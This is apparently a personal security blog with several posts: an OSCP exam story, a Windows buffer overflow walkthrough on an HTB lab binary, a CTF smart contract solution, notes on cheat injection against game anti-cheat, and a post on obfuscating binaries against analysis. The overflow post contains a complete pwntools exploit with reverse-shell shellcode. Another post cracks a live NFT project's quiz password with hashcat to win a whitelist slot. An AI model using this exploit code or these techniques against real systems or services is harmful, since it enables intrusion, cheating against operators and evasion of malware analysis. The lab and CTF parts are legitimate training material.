  • Polymorphism and Code mutation (to avoid heuristic patten scanners)
  • Syscall hooks
  • Hypervisor-assisted hooking
  • Scatter Manual Mapper (https://github.com/btbd/smap)
  • and etc…

This blog is not meant to teach reversing a game, but if you would like to deep dive more on reverse engineering, checkout: https://www.unknowncheats.me/ and https://guidedhacking.com/

Other resources:

POC and Conclusion

So, with the basic knowledge we have here, we tried to inject this on one of a common game that is still on ring3 (because ring0 AC’s are much more harder to defeat 😭).

BEWARE THAT THE ABOVE SCREENSHOTS ARE ONLY DONE IN A NON-COMPETITIVE MODE, AND ONLY STANDS FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR ANY ACTION YOU MAKE WITH THE KNOWLEDGE THAT I SHARED WITH YOU.

And now, we reached the end of this blog, but before I finished this article, I want to say thank you for reading this entire blog, also, I just want to say that I also passed the CISSP last October 2023, but wasn’t able to update here due to lot of workloads.

Again, I am really grateful for your time. Until next time!

Passed OSCP on 2nd Attempt!

The preparation

I’ve been preparing this OSCP thing for almost 4 years. No, I am not kidding. This OSCP is a cultivation of all the knowledge you learn in IT/CS course. OSCP is golden standard when it comes to Penetration Testing that’s why I’m really eager to get this one. This is not the most insane technical exam, but I could say it’s close to insane. Most topics you need to be aware prior on taking OSCP are the following but not limited to: Networking, Basic Programming, OS Fundamentals, Web and Application fundamentals, Basic Researching, CyberSecurity methodologies and frameworks and the Art of Being Persistent.

You need to at least know basic networking, so you know how tunnels work, how machine communicates on different protocols, and a lot more! You will also need to understand networking so you can pivot your paths deep on the network you are penetrating. Having a strong background in networking can definitely help you!

You will also need to know Basic Programming. There are times that you want to automate a certain workload than having it doing manual to save time. Having programming on your skill set also strengthen the ability to read code and find probable errors/vulnerability on applications.

OS Fundamentals! Yes, this is important part of your skillset! You need to know the environment of the machines you are attacking. Sometimes, OS are vulnerable to kernel exploits, especially the old and unpatched OS. It’s also important on your skillset so you can quickly navigate through the machine. You need to at least know basic bash and powershell commands!

Web and Application fundamentals, you need to at least understand how web and application behaves. Most often, you need to find a vulnerability on applications so you can gain a foothold on the machine you are attacking.

Basic Researching, this is needed so you know what to search on the search engines, what to look for and what are the part of puzzles you need to find. Think of it like, the internet is a large haystack, and you need to search for a something that you don’t exactly know. You must have a strong critical thinking to find what you exactly need.

CyberSecurity methodologies and frameworks. These are basic concepts in security, like defense-in-depth, zero trust, and a lot more. These concepts can be usually used as opposite when playing in attacker or read team. Once you know he weakness of the network / machines, it’s easy to navigate through.

Art of Being Persistent. This is the willingness to go over and over, trying harder, and not giving up easily! You need to be persistent! You need to have the patience to sit for almost 12 hours a day just to solve a single problem! As OffSec says: “TRY HARDER!”

Before I took OSCP, I went to HTB first. I already talked about HTB on my past article, you can check it here: https://mark.rxmsolutions.com/oscp-a-little-update/.
Basically, I took HTB academy modules first because HTB offers lifetime access to their learning modules. In this way, you can grasp the feeling on how you can effectively use the tools. When you enroll to OSCP, you are only given 90 days to work out the activities and labs, and their pricing is not a joke, so you need to be prepared before jumping in!

Also, as part of my preparation, I also finished boxes as indicated in these link: https://hackersinterview.com/oscp/oscp-like-machines-in-htb-vulnhub-tryhackme/.
They said that these boxes are OSCP-like boxes, so I went for it.

The Fall

So when I finished the activities and secured my bonus points for the OSCP Exam, I feel like I’m confident to jump on the exam.

I booked my OSCP exam. It was a 24-hour proctored exam.
To know more about the exam, check this link: https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide

During the exam, I was caught in the rabbit holes! I was focusing my energy on the wrong paths.
I cannot discuss anymore regarding the exam content. But my mistake was I’m making things complicated in my head.

I was awake 24 hours trying to pwn machines, but in the end, my scores wasn’t enough to pass my first attempt.

I failed.

The Rise

I went look back to learn what are my mistakes. I did a lot of readings, and practiced more.
And then I booked again for 2nd attempt!

On my 2nd attempt, when I attained the minimum passing score, I feel relieved!
But I still have a few hours left, so I did “TRY HARDER!”.
I stayed awake for almost 19 hours, and rested only for 5 hours.
I didn’t pwnd all machines, but my score is above the minimum 70 points.

After that 24 hour long exam, it feels like a hazing!
But it’s not over yet!
I have to make a report on my findings.
The report submission has 24 hour window.
I composed my report, checked everything, and submitted!

OSCP EXAM REPORT

My report was 35 pages. I included the step-by-step procedure on compromising the targets, and also a lot of screenshot!

After a few days, I received an email from OffSec. I was really anxious while reading the email.
And suddenly my heart skipped a beat!

I passed!

OffSec Certified Professional

For the Future Exam Takers

I will strongly advice to make things not complicated. Try simple solutions first.
I’ll also advice to take a lot of sleep before taking the exam. It’s a 24-hour long exam. You will probably be awake for the next 24 hours.
Second to the last advice I can give is to prepare a lot of foods and water, especially the foods that you can gain a lot of energy. Stay hydrated!.
And my important advice is to, always take a break! Have a lot of window to get rest!

What now?

I also finished the HTB Prolab’s Dante and HTB Prolab’s Offshore!
I’m practicing in the Prolabs because I’m planning to take CPTS soon, but I think I will take it after few more months from now as my focus will be shifted to my other life priorities.

Dante
Offshore

Above all, this wouldn’t be possible without the support of my partner.
I will always love you Ruffa! Thank you for the non-stop support!

Thank you so much for reading this guys!
More writeups to come soon!

Why so trusting?

Quick Context: Okay, so recently, we come across some fancy NFT project wherein “Students” are invited to join “Quizzes” and “Projects” to “Graduate”.

A “Graduate” means whitelisted for the mint of the NFT collection.

Our Goal

Our goal is to get into the top leaderboard so we can ensure our whitelist slot. And we want this by all means, so we use our hacker instinct to get advantage on the quiz.

However, we wouldn’t wanna overkill the contest. We didn’t spawn bots to automatically answer the quizzes (which is easy to do), so we just sticked with our bare hands, manually answering the quizzes. And we just stick to one-to-one account to human. We don’t want to disrupt the experience of other people.

The quiz

The quiz is a client sided web app. Meaning, all of the password for the quiz and questions are given to client without levels of authorization. Below are the steps of our reconnaissance and enumeration to extract the password and the set of question for a quiz.

Cracking the Password

Every quiz has different password. And our goal is to crack the password before the quiz starts (hours before the quiz so we have the chance to crack it).

Upon logging-in and browsing to /quiz page, we could see a web api requests. We can see that a request has a response that includes juicy information. We saw a json response that includes quiz details and we write down the _id and the password to our notes.

$2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu

The password is a bcrypt hash.

The first thing we did was to list all possible passwords and try to compare them against the hash.
But sadly, we didn’t got any “possible password” correct.

What is Bcrypt?

The input to the bcrypt function is the password string (up to 72 bytes), a numeric cost, and a 16-byte (128-bit) salt value. The salt is typically a random value. The bcrypt function uses these inputs to compute a 24-byte (192-bit) hash. The final output of the bcrypt function is a string of the form:

$2<a/b/x/y>$[cost]$[22 character salt][31 character hash]

For example, with input password abc123xyz, cost 12, and a random salt, the output of bcrypt is the string

$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
\__/\/ \____________________/\_____________________________/
Alg Cost      Salt                        Hash

Where:

  • $2a$: The hash algorithm identifier (bcrypt)
  • 12: Input cost (212 i.e. 4096 rounds)
  • R9h/cIPz0gi.URNNX3kh2O: A base-64 encoding of the input salt
  • PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW: A base-64 encoding of the first 23 bytes of the computed 24 byte hash

The base-64 encoding in bcrypt uses the table ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,[9] which is different than RFC 4648 Base64 encoding.

Back to our discussion

So now we know the basics of bcrypt, we could now start attacking the password hash.

Well, luckily, we got a tool named hashcat.
Without having any more ideas about the password, we can now use the bruteforce technique.
We also know that the password only contains numbers.
So we could go bruteforce increment from ZERO until 10^n. Where n is the number of digits.

hashcat.exe -a 3 -m 3200 --increment --increment-min 1 --increment-max 8 $2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu ?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d

Here, we tell hashcat that our attack mode is Brute-force (-a 3), increment each password iteration (–increment), start from 1 digit (–increment-min 1), end the iteration with maximum of 8 digit (–increment-max 8), password hash that we found earlier ($2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu) and the pattern that we want our hashcat to follow (?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d).

To know more about hashcat, check this out: https://hashcat.net/wiki/doku.php?id=hashcat

And after some couple of minutes, we cracked the hash!

It took only 8 minutes for my GTX1050 to crack a 5-digit password. But it would definitely lasts more longer if the password was longer than 5-digit.
Luckily, the password for this quiz is shorter than the first set of quizzes so we are able to bruteforce this in a very small amount of time.

Extracting Questions

We found a page where we can browse the quiz. We just enter the password that we found for this quiz.

The web app then make a request to the web api and we could see a juicy information here that includes the quiz questionnaires (testData).

We just parse the testData. And boom! Successfully extracted the PASSWORD and the QUESTIONS.

Conclusion

I understand the intention of the developer that they don’t want the participants kinda “DDoS” their servers by having a lot of authentication and authorization though their servers. They just give all their password and quiz data to the client because they want the validation to be on client’s side and not having loads to their server.

The web app’s architecture, does not really abide the Zero Trust Security because they just make the client’s authorized themselves and “trusts” them without proper validation.

Thanks for reading this short writeup!
I hope you enjoy and see you on my next writeup!

Hijack service via buffer overflow (Windows)

Often times, when we are doing penetration tests, we can encounter some applications that is vulnerable to buffer overflow attack.

What Is a Buffer Overflow Attack? (Excerpt from Fortinet)

A buffer overflow attack takes place when an attacker manipulates the coding error to carry out malicious actions and compromise the affected system. The attacker alters the application’s execution path and overwrites elements of its memory, which amends the program’s execution path to damage existing files or expose data.

A buffer overflow attack typically involves violating programming languages and overwriting the bounds of the buffers they exist on. Most buffer overflows are caused by the combination of manipulating memory and mistaken assumptions around the composition or size of data.

A buffer overflow vulnerability will typically occur when code:

  1. Is reliant on external data to control its behavior
  2. Is dependent on data properties that are enforced beyond its immediate scope
  3. Is so complex that programmers are not able to predict its behavior accurately

To read more: https://www.fortinet.com/resources/cyberglossary/buffer-overflow

Demonstration

Pre-requisites and briefing

We found an interesting service (server.exe is made by HTB, no copyright infringement) running as high privilege. We are currently at a low privilege user, finding a way to escalate our privilege and that service might be our ticket to gain high privilege.

We found out that the service is binding to port 4444.
We exfiltrate the service binary so we can do further analysis.
And it turns out we can extract the username and password of it.
But after logging in, nothing interesting happens.

server.exe – port 4444
$ strings server.exe

Output:
...
Dante Server 1.0
Enter Access Name: 
Admin
Access Password: 
Wrong username!
P@$$worD
Correct Password!
Wrong password!
...
Password found but nothing interesting follows

Further investigation, we found out that the DEP on the target machine was turned off.
We also check the binary for dynamic base / ASLR / relocations and such.
Seems like the binary is simply static therefore the base doesn’t change.

We then proceed to replicate the environment to our lab and do our analysis.

Additional checks

Finding the payload offset

We need to determine the correct padding before the EIP is replaced.
If we can control the EIP, then we can control the execution flow of the program and we can hijack it.

Generate a payload

Send this payload on password field. And we need to check the debugger for exceptions that this payload will create.

payload sent
EIP at 33694232
offset at 1028
from pwn import *  
import sys  
  
if len(sys.argv) < 3:  
        print("Usage: {} ip port".format(sys.argv[0]))  
        sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  
  
payload = "A" * 1028 + "B" * 4 + "C" * 500  
  
r = remote(ip, port)  
r.recvuntil(':')  
r.sendline("Admin")  
r.recvuntil(':')  
r.sendline(payload)

We can try to run this code so we can check if we got our offsets right.

offsets are just in place!

So we can now take control of EIP and hijack the execution flow.
Since we also control the ESP, we can find an instruction that can make the execution to jump to ESP.

jmp esp

We can use https://defuse.ca/online-x86-assembler.htm to assemble and disassemble opcodes

FF E4

We could use the first result at 0x10476D73

0x10476D73

Generating the reverse shell payload

msfvenom reverse shell

We add the payload to our script.
Here is the updated script:

from pwn import *  
import sys  
  
if len(sys.argv) < 3:  
        print("Usage: {} ip port".format(sys.argv[0]))  
        sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  


#padding before the EIP Replace
buf =  b"A" * 1028

#jmp esp // 0x10476D73
buf += b"\x73\x6d\x47\x10"

#just a NOP buffer before the actual payload
buf += b"\x90" * 10

#this is where esp is pointed, so the instruction will jump here
buf += b""
buf += b"\xb8\xc6\xe1\x27\x01\xdb\xdd\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x52\x31\x46\x12\x83\xee\xfc\x03\x80"
buf += b"\xef\xc5\xf4\xf0\x18\x8b\xf7\x08\xd9\xec\x7e\xed"
buf += b"\xe8\x2c\xe4\x66\x5a\x9d\x6e\x2a\x57\x56\x22\xde"
buf += b"\xec\x1a\xeb\xd1\x45\x90\xcd\xdc\x56\x89\x2e\x7f"
buf += b"\xd5\xd0\x62\x5f\xe4\x1a\x77\x9e\x21\x46\x7a\xf2"
buf += b"\xfa\x0c\x29\xe2\x8f\x59\xf2\x89\xdc\x4c\x72\x6e"
buf += b"\x94\x6f\x53\x21\xae\x29\x73\xc0\x63\x42\x3a\xda"
buf += b"\x60\x6f\xf4\x51\x52\x1b\x07\xb3\xaa\xe4\xa4\xfa"
buf += b"\x02\x17\xb4\x3b\xa4\xc8\xc3\x35\xd6\x75\xd4\x82"
buf += b"\xa4\xa1\x51\x10\x0e\x21\xc1\xfc\xae\xe6\x94\x77"
buf += b"\xbc\x43\xd2\xdf\xa1\x52\x37\x54\xdd\xdf\xb6\xba"
buf += b"\x57\x9b\x9c\x1e\x33\x7f\xbc\x07\x99\x2e\xc1\x57"
buf += b"\x42\x8e\x67\x1c\x6f\xdb\x15\x7f\xf8\x28\x14\x7f"
buf += b"\xf8\x26\x2f\x0c\xca\xe9\x9b\x9a\x66\x61\x02\x5d"
buf += b"\x88\x58\xf2\xf1\x77\x63\x03\xd8\xb3\x37\x53\x72"
buf += b"\x15\x38\x38\x82\x9a\xed\xef\xd2\x34\x5e\x50\x82"
buf += b"\xf4\x0e\x38\xc8\xfa\x71\x58\xf3\xd0\x19\xf3\x0e"
buf += b"\xb3\x5a\x04\x10\x42\xcd\x06\x10\x55\x52\x8e\xf6"
buf += b"\x3f\x7c\xc6\xa1\xd7\xe5\x43\x39\x49\xe9\x59\x44"
buf += b"\x49\x61\x6e\xb9\x04\x82\x1b\xa9\xf1\x62\x56\x93"
buf += b"\x54\x7c\x4c\xbb\x3b\xef\x0b\x3b\x35\x0c\x84\x6c"
buf += b"\x12\xe2\xdd\xf8\x8e\x5d\x74\x1e\x53\x3b\xbf\x9a"
buf += b"\x88\xf8\x3e\x23\x5c\x44\x65\x33\x98\x45\x21\x67"
buf += b"\x74\x10\xff\xd1\x32\xca\xb1\x8b\xec\xa1\x1b\x5b"
buf += b"\x68\x8a\x9b\x1d\x75\xc7\x6d\xc1\xc4\xbe\x2b\xfe"
buf += b"\xe9\x56\xbc\x87\x17\xc7\x43\x52\x9c\xf7\x09\xfe"
buf += b"\xb5\x9f\xd7\x6b\x84\xfd\xe7\x46\xcb\xfb\x6b\x62"
buf += b"\xb4\xff\x74\x07\xb1\x44\x33\xf4\xcb\xd5\xd6\xfa"
buf += b"\x78\xd5\xf2"
  
payload = buf
  
r = remote(ip, port)  
r.recvuntil(':')  
r.sendline("Admin")  
r.recvuntil(':')  
r.sendline(payload)

We then need to start our reverse shell listener

And execute the payload!

payload sent!
HIJACKED

Conclusion and Outro

To summarize what we did, here are the steps:

  1. We find the correct padding for our payload to replace the EIP with our desired address
  2. Since we can replace the EIP, we can hijack the execution flow.
  3. We also have control over the ESP, therefore we can command the EIP to jump to ESP
  4. We generate our reverse shell via msfvenom and add it to our payload
  5. HIJACKED!

Okay, its been quite a while before I was able to publish new content.
I was so busy with OSCP, and the thing is, I did my exam.
… and I failed! LOL.
Well, I thought I was ready, but it seems like I still need more practice.
I will be taking 2nd attempt soon. But for now, ill practice more and more.

That’s it! thanks for reading!

OSCP: A little update

Heyaaa! It’s been a while since I posted my last update regarding my OSCP journey.
As I said a few posts ago, I will be enrolling first with the HTB’s academy modules so that the 3 months of laboratory during OSCP proper will not be wasted.

I want to make the most out of it during the 3 months of OSCP enrollment.
They did an overhaul with the PEN-200 course so it’s better to walk to it prepared.

https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide#bonus-points

During my study in HTB, I try to master the tools of trade as much as I can so when I enroll to OSCP, I know the tools to use and whatnot.
I also finished HTB Academy 2 Paths (I am now qualified to take the CBBH and CPTS exams but I choose to go with OSCP enrollment first):

HTB Certified Bug Bounty Hunter
CERTIFIED BUG BOUNTY HUNTER

https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter

HTB Certified Penetration Testing Specialist
CERTIFIED PENETRATION TESTING SPECIALIST

https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist

Here are all the modules of the 2 combined paths:

HTB

Overall, I can say that HTB really provides good quality materials. A lot of knowledge can be gained from HTB!
The laboratories are time consuming yet very enjoyable!

Sometimes when I hit a wall brick and gets stuck, it get’s frustrating.
But a walk outside and breathing of fresh air can really help.

CYBER APOCALYPSE CTF 2023

Also, As I mentioned on my last post, I joined the CA CTF 2023. Since I cannot find any team to join (probably because I am a newbie) then I made my own and participated as solo player.

I got to pwn a lot of easy and very easy challenges but I don’t have time left to pwn medium and higher challenges. I ended up a team ranking of 468/6483 and got only 29/74 flags.

Certificate of Participation

OSCP Enrollment

And since I don’t have any company sponsor, and the money I will spend will come from my own pocket, then I have to be practical as much as I can. That’s why I just opted to enroll first with HTB academy to master the tools before I enroll to OSCP.

I chose the “Course & Cert Exam Bundle” as it is the most cheapest but it only comes with 90 days of lab access.

OSCP

I will try to post updates whenever I got time. But yeah, probably I got lesser time as of now because I will be focusing as much as possible during the OSCP proper.

Thank you so much for reading! Stay tuned!

CTF CA23: BLOCKCHAIN //The Art of Deception

Hey! Whats up?!, I quite went dark during my OSCP study so I wasn’t able to post updates here.
More updates on me later but for this post, I want to share a small CTF writeup!
This is a writeup for “The Art of Deception” in the Blockchain category of Cyber Apocalypse 2023

HTB CA2023

The Problem

I was given 2 files:

pragma solidity ^0.8.18;


interface Entrant {
    function name() external returns (string memory);
}

contract HighSecurityGate {
    
    string[] private authorized = ["Orion", "Nova", "Eclipse"];
    string public lastEntrant;

    function enter() external {
        Entrant _entrant = Entrant(msg.sender);

        require(_isAuthorized(_entrant.name()), "Intruder detected");
        lastEntrant = _entrant.name();
    }

    function _isAuthorized(string memory _user) private view returns (bool){
        for (uint i; i < authorized.length; i++){
            if (strcmp(_user, authorized[i])){
                return true;
            }
        }
        return false;
    }

    function strcmp(string memory _str1, string memory _str2) public pure returns (bool){
        return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2)); 
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Setup {
    HighSecurityGate public immutable TARGET;

    constructor() {
        TARGET = new HighSecurityGate();
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }
}

These smart contracts are pre-deployed in a local blockchain EVM.
The problem is simple. If the isSolved() function returns True then I passed the challenge.

Quite simple isn’t it? For experienced pentesters, yes this is quite easy, but for me, a novice, it’s kinda frustrating but rewarding.

The solution

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Solution {
    HighSecurityGate public immutable TARGET;

    string public myName;
    int public numOfCalls = 0;

    constructor(address _input) {
        TARGET = HighSecurityGate(_input);
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }

    function name() external returns (string memory){

        if(numOfCalls == 0){
            this.modifyName("Orion");
        }else{
            this.modifyName("Pandora");
        }

        numOfCalls++;
        return myName;
    }

    function modifyName(string memory _inputName) external{
        myName = _inputName;
    }

    function reset_numOfCalls() external{
        numOfCalls = 0;
    }

    function attack() external{
        TARGET.enter();
    }
}

So to carry out the attack, just execute the attack() function.

Some variable here are used in play:

  • myName – This is used as a storage variable that returns a name whenever name() is executed
  • numOfCalls – This is an incremental counter for the name() whenever it gets executed

Some functions are used in play too:

  • name() – This is a function that check if numOfCalls is equivalent to 0 then it updates the myName via modifyName() as “Orion”. Else if it is not equals to 0 then it will update as “Pandora”. It will also increment the numOfCalls. Finally, it will return the value of myName.
  • modifyName() – Updates the myName.
  • reset_numOfCalls() – resets the numOfCalls counter
  • attack() – calls the enter() function in the target contract

Okay, the logic is simple.

Entrant _entrant = Entrant(msg.sender);

The above code, typedef the caller to an interface. In our case, since an address doesn’t have function name() as referred in the Entrant interface then therefore the attack should be carried out by a contract and not directly from an address.

require(_isAuthorized(_entrant.name()), "Intruder detected");

Here, we can see that _entrant.name() is called. Therefore, getting the value of “Orion” (assuming that the numOfCalls is 0) and incrementing numOfCalls. The _isAuthorized will return true because “Orion” is a valid string as per listed in authorized array.

lastEntrant = _entrant.name();

We can see here another call to _entrant.name(). Therefore getting the value of “Pandora” (assuming that the numOfCalls is not 0) and assign it to lastEntrant.

Conclusion

Always check the calls to a contract instance. These attack might be used in a chained vector scenario.
For example, if contract A is calling to contract B, when the attacker hacked the contract B, he might use the contract B to pivot the attack to contract A.

That’s it folks! Thanks for reading!

Obfuscation thru Polymorphism and Instantiation

The goal of this writeup is to create an additional layer of defense versus analysis.
A lot of malwares utilize this technique in order for the binary analysis make more harder.

Polymorphism is an important concept of object-oriented programming. It simply means more than one form. That is, the same entity (function or operator) behaves differently in different scenarios

www.programiz.com

We can implement polymorphism in C++ using the following ways:

  1. Function overloading
  2. Operator overloading
  3. Function overriding
  4. Virtual functions

Now, let’s get it working. For this article, we are using a basic class named HEAVENSGATE_BASE and HEAVENSGATE.

Fig1: Instantiation

Then we will be calling a function on an Instantiated Object.

Fig2: Call to a function

Normal Declarations

Fig3: We have a pointer named HEAVENSGATE_INSTANCE.

When we examine the function call (Fig2) under IDA, we get the result of:

Fig4: Direct Call to HEAVENSGATE::InitHeavensGate

and when we cross-reference the functions, we will see on screen:

Fig5: xref HEAVENSGATE::InitHeavensGate

The xref on the .rdata is a call from VirtualTable of the Instantiated object. And the xref on the InitThread is a call to the function (Fig2).

Basic Obfuscation

So, how do we apply basic obfuscation?

We just need to change the declaration of Object to be the “_BASE” level.

Fig6: A pointer named HEAVENSGATE_INSTANCE pointer to HEAVENSGATE_BASE

Unlike earlier, the pointer points to a class named HEAVENSGATE. But this time we will be using the “_BASE”.

Under the IDA, we can see the following instructions:

Fig7: Obfuscated call

Well, technically, it isn’t obfuscated. But the thing is, when an analyzer doesn’t have the .pdb file which contains the symbols name, then it will be harder to follow the calls and purpose of a certain call without using debugger.

This disassembly shows exactly what is going on under the hood with relation to polymorphism. For the invocations of function, the compiler moves the address of the object in to the EDX register. This is then dereferenced to get the base of the VMT and stored in the EAX register. The appropriate VMT entry for the function is found by using EAX as an index and storing the address in EDX. This function is then called. Since HEAVENSGATE_BASE and HEAVENSGATE have different VMTs, this code will call different functions — the appropriate ones — for the appropriate object type. Seeing how it’s done under the hood also allows us to easily write a function to print the VMT.

Fig8: Direct function call is now gone

We can now just see that the direct call (in comparison with Fig5) is now gone. Traces and footprints will be harder to be traced.

Conclusion

Dividing the classes into two: a Base and the Original class, is a time consuming task. It also make the code looks ugly. But somehow, it can greatly add protection to our binary from analysis.